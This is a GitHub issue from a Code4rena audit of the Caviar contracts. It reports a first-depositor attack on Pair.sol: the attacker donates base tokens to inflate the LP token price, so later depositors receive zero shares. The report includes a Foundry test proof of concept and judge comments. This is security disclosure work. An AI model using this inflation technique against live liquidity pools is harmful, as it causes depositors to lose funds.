Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

A malicious early actor can cause a Partial DoS for adding liquidity by enforcing a minimum deposit amount #235

Closed
code423n4 opened this issue Dec 18, 2022 · 2 comments
Labels
3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working duplicate-442 satisfactory satisfies C4 submission criteria; eligible for awards

Comments

@code423n4
Copy link
Contributor

Lines of code

https://github.com/code-423n4/2022-12-caviar/blob/main/src/Pair.sol#L63-L99
https://github.com/code-423n4/2022-12-caviar/blob/main/src/Pair.sol#L77
https://github.com/code-423n4/2022-12-caviar/blob/main/src/Pair.sol#L421

Vulnerability details

Impact

A first depositer can deposit minimum amount of baseToken and fractionalToken then manipulate the baseToken reserves by sending a big amount directly to the Pair contract. Thus, inflating LPToken price. Any further deposits with smaller (but reasonable) amount will result in zero share of LPToken.
This occurs due to the the lp token shares calculation that use baseToken reserves as a denominator.

https://github.com/code-423n4/2022-12-caviar/blob/main/src/Pair.sol#L77

https://github.com/code-423n4/2022-12-caviar/blob/main/src/Pair.sol#L421

Proof of Concept

  1. Please create a file named AddVul.t.sol under test/Pair/unit directory and add the following code.:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

import "forge-std/Test.sol";
import "forge-std/console.sol";

import "../../shared/Fixture.t.sol";
import "../../../src/Caviar.sol";
import "../../../script/CreatePair.s.sol";

contract AddTest is Fixture {
    event Add(uint256 baseTokenAmount, uint256 fractionalTokenAmount, uint256 lpTokenAmount);


    function setUp() public {
        deal(address(usd), address(this), 1000000*1e18, true);
        deal(address(p), address(this), 1000000*1e18, true);

        usd.approve(address(p), type(uint256).max);    
        }

   function testinfaltingLpTokenPrice() public {
        // arrange
        uint256 _initBaseTokenAmount = 1;
        uint256 _initFractionalTokenAmount = 1;
        uint256 initMinLpTokenAmount = Math.sqrt(_initBaseTokenAmount * _initFractionalTokenAmount);
        uint256 lpTokenAmount = p.add(_initBaseTokenAmount, _initFractionalTokenAmount, initMinLpTokenAmount); // initial add
        console.log('lpTokenAmount of first depositer: %d',lpTokenAmount);
        // first depositer gets one lpToken
        assertEq(lpTokenAmount,1);

        // first depositer transfers big amount of baseToken to inflate the lpToken price
        console.log('baseTokenReserves before: %d',p.baseTokenReserves());
        usd.transfer(address(p),100000*1e18);
        console.log('baseTokenReserves after: %d',p.baseTokenReserves());

        // user babe would like to add 1000*1e18 
        vm.startPrank(babe);
        deal(address(usd), babe, 1000*1e18, true);
        deal(address(p), babe, 1000*1e18, true);
        usd.approve(address(p), type(uint256).max);
        uint256 lpTokenAmount2 = p.add(1000*1e18, 1000*1e18, 0);
        console.log('lpTokenAmount of user babe: %d',lpTokenAmount2);
        // second depositer gets zero lpToken
        assertEq(lpTokenAmount2,0);
        vm.stopPrank();

    }

  

}

  1. Then run the forge test command as follows:
forge test --match-path test/Pair/unit/AddVul.t.sol -vv

Tools Used

Manual analysis

Recommended Mitigation Steps

@code423n4 code423n4 added 3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working labels Dec 18, 2022
code423n4 added a commit that referenced this issue Dec 18, 2022
@c4-judge
Copy link
Contributor

berndartmueller marked the issue as duplicate of #442

C4-Staff added a commit that referenced this issue Jan 6, 2023
@c4-judge c4-judge added the satisfactory satisfies C4 submission criteria; eligible for awards label Jan 10, 2023
@c4-judge
Copy link
Contributor

berndartmueller marked the issue as satisfactory

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working duplicate-442 satisfactory satisfies C4 submission criteria; eligible for awards
Projects
None yet
Development

No branches or pull requests

2 participants